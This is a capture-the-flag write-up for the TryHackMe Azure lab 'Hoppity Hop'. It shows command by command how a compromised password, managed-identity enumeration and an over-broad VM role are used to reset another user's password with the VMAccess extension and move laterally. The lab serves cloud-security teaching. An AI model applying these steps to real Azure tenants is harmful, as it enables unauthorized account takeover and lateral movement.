# Azure: Hoppity Hop

{% embed url="<https://tryhackme.com/room/azhoppityhop>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

In Azure: Hoppity Hop we are faced with the following scenario:

> ### Lab Scenario
>
> * During the reconnaissance, you came across a password: `WhereIsMyMind$#@!`
> * You don't know much about which permissions you have on the Azure Portal
> * You don't know much about which resources you can access on the Azure Portal
> * All you have is a compromised password
> * Which attack path(s) can you discover and how will you exploit them?

<details>

<summary>Summary</summary>

In Azure: Hoppity Hop we begin with valid credentials to access a Linux VM in Azure and leverage its managed identity to enumerate the tenant and associated resource groups. Through Azure CLI enumeration, we discover elevated RBAC permissions that grant ownership over another virtual machine within the same resource group. Abusing these permissions, we deploy a legitimate VM extension to reset credentials on the secondary VM and gain access as `tyler`, demonstrating lateral movement and privilege escalation within an Azure environment through misconfigured managed identities and over-permissioned roles.

</details>

We open the dashboard of Microsoft Azure and head to `Resource` or `All resources`.

At `All resource` in Microsoft Azure we'll find two VMs `LinuxVM` and `LinuxVM1`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fydd28OqaBdPKqG8E2e2t%2Fgrafik.png?alt=media&#x26;token=86b99c60-d3b9-4fea-ace2-18c41d652520" alt=""><figcaption></figcaption></figure>

If we click on that resource we can find a username at the `Connect` page in the SSH connection string. Furthermore we see a public facing ip address of the machine. In this case `172.171.217.238`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaNHqG9ehSVcAO2oovDFj%2Fgrafik.png?alt=media&#x26;token=da2190f6-b23b-4ff8-afa7-4482bc9b0a77" alt=""><figcaption></figcaption></figure>

So, we now have a username `azureuser` and a password from the reconnaissance from the scenario.

```
azureuser:WhereIsMyMind$#@!
```

We try to connect and gain access to the VM.

```
ssh azureuser@172.171.217.238
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeNHvXXmq2pBvxAx5sP8z%2Fgrafik.png?alt=media&#x26;token=b79acda7-0ebc-475e-81aa-0241250959b9" alt=""><figcaption></figcaption></figure>

If we inspect the `LinuxVM1` we find another connection string. This time with the user `tyler`. But that user has a different password. We cannot connect using SSH.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLYm0DHIIJMEta3RinYlg%2Fgrafik.png?alt=media&#x26;token=8d07e51a-09db-4f97-8def-140a3ba56437" alt=""><figcaption></figcaption></figure>

`Like in Azure: Eyes Wide Shut` we proceed with the Azure CLI on the target VM to enumerate the target and tennant and eventually escalate our privileges or move laterally.

We install the Azure CLI:

```
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgQMbH2MzyvYONql6Scng%2Fgrafik.png?alt=media&#x26;token=0da65811-da1c-46de-9a99-2bbc4b842f01" alt=""><figcaption></figcaption></figure>

Next, we log in as follows:

```
az login --identity
```

We authenticate to Azure using the managed identity of the current resource  instead of user credentials. We should be now able to access resources.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl1sqghlJIPJhiduRpsMt%2Fgrafik.png?alt=media&#x26;token=31f0dba5-d418-4830-b1a5-74c3c2866bcb" alt=""><figcaption></figcaption></figure>

We lists all Azure resource groups in the current subscription and displays them in a readable table format. We find the resource group `rg-10317041`.

```
az group list -o table
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQZzrtocxkuPhy2QtOuPM%2Fgrafik.png?alt=media&#x26;token=a9a43c8c-299c-4db8-9b7b-8f93e65c1442" alt=""><figcaption></figcaption></figure>

Next, we list all virtual machines within the specified resource group `rg-10317041` and displays them in a table format. `LinuxVM` and `LinuxVM1` are part of the resource group.

```
az vm list -g <rg> -o table
```

```
az vm list -g rg-10317041 -o table
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbAD1onZu72E5WSVwi1r2%2Fgrafik.png?alt=media&#x26;token=6f34822d-515f-4f41-88e5-64a953d67fd4" alt=""><figcaption></figcaption></figure>

We continue listing all resources within the resource group `rg-10317041` and presents them in a table format. &#x20;

```
 az resource list -g <rg> -o table
```

```
az resource list -g rg-10317041 -o table
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpHPkgMp1PAZ7bjJkzQFo%2Fgrafik.png?alt=media&#x26;token=362b450f-e23c-4adf-8f57-4d44ddb425f7" alt=""><figcaption></figcaption></figure>

Next, we enumerate the system-assigned managed identity for `LinuxVM` - the `principalID` - which we will use as the assignee when checking RBAC permissions.

```
az vm identity show -g <rg> -n LinuxVM
```

```
az vm identity show -g rg-10317041 -n LinuxVM
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FR351HccKUQl45QwWN9aB%2Fgrafik.png?alt=media&#x26;token=71892666-b167-4e7e-8b85-19c230e1fee7" alt=""><figcaption></figcaption></figure>

```
principalId: 5929a124-f169-4e45-aee6-8f776b149771
```

Now we try to extract the resource `LinuxVM1` and note down the `subscriptionID` so we can construct precise RBAC scopes for role queries.

```
az resource list -g <rg> -n LinuxVM1
```

```
az resource list -g rg-10317041 -n LinuxVM1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi3ovmNmFJ7jwUI9D3VAx%2Fgrafik.png?alt=media&#x26;token=5e8facf6-bf59-4e37-8137-a1d6d20f208a" alt=""><figcaption></figcaption></figure>

```
subId: 1746294a-5aa8-4cbb-82a4-11e731b20942
```

Next, we list role assignments to quickly spot elevated roles for the VM identity within the resource group. This shows whether the VM’s managed identity is Owner/Contributor/Reader at the resource-group scope:

{% code overflow="wrap" %}

```
az role assignment list --assignee <principalID> --scope /subscriptions/<subID>/resourceGroups/<rg> -o table
```

{% endcode %}

{% code overflow="wrap" %}

```
az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041 -o table
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJUkA5Rn73EsUvvmDdX2L%2Fgrafik.png?alt=media&#x26;token=7b0b22e6-69b7-43a4-8bce-32e4b05a16c5" alt=""><figcaption></figcaption></figure>

We need to retrieve the same role assignments as raw JSON so we can capture full metadata...

We extract the `RoleDefintionID`, with that we can query the exact permissions.

{% code overflow="wrap" %}

```
az role assignment list --assignee <principalID> --scope /subscriptions/<subID>/resourceGroups/<rg> 
```

{% endcode %}

{% code overflow="wrap" %}

```
az role assignment list --assignee 5929a124-f169-4e45-aee6-8f776b149771 --scope /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-10317041
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fr2IeTtrXv40XoPQ62Dji%2Fgrafik.png?alt=media&#x26;token=ad8d6f5a-7437-46a1-b725-bb31103674f0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
/subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c
```

{% endcode %}

We inspect the the permissions of the role with `/subscriptions/<subID>/resourceGroups/<rg>` &#x20;

```
az role definition show --id <roleDefinitionID> --query "permissions"
```

{% code overflow="wrap" %}

```
az role definition show --id /subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c --query "permissions"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fqn3CqDgZilJToMn6y4RA%2Fgrafik.png?alt=media&#x26;token=83ecb96a-4abf-4a5d-99af-3cedc9520dcf" alt=""><figcaption></figcaption></figure>

From its `actions`, we can see it includes:

```
"Microsoft.Compute/virtualMachines/*"
```

That means all operations (`*`) under the `Microsoft.Compute/virtualMachines` namespace, not just `read` or `start`, but also create, update, and extensions management are applicable.

With that we can deploy a VM extension called `VMAccessForLinux`, published by Microsoft:

```
"type": "Microsoft.Compute/virtualMachines/extensions",
"typePropertiesType": "VMAccessForLinux"
```

That extension is used in Azure to:

* reset Linux user passwords,
* create users,
* or reset SSH keys.

See:&#x20;

{% embed url="<https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/vmaccess-linux>" %}

This should allow us to update the password of `tyler` on `LinuxVM1`:

```
az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g <rg>
```

```
az vm user update -u tyler -p 'Pwned123!' -n LinuxVM1 -g rg-10317041
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSBX1mhfBWNEmdWcqPuUQ%2Fgrafik.png?alt=media&#x26;token=4917f1e1-0bfa-41fc-ac07-374731fc3a08" alt=""><figcaption></figcaption></figure>

Next, we try to log in to `LinuxVM1` as tyler with `Tyler:Pwned123!` and find the flag at `/home/tyler/flag.txt`.

```
ssh tyler@4.246.192.249
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBKrLzgQvTyccJJb1UD3Y%2Fgrafik.png?alt=media&#x26;token=c33ba300-8ee0-4cb6-a53f-e215a34601b2" alt=""><figcaption></figcaption></figure>
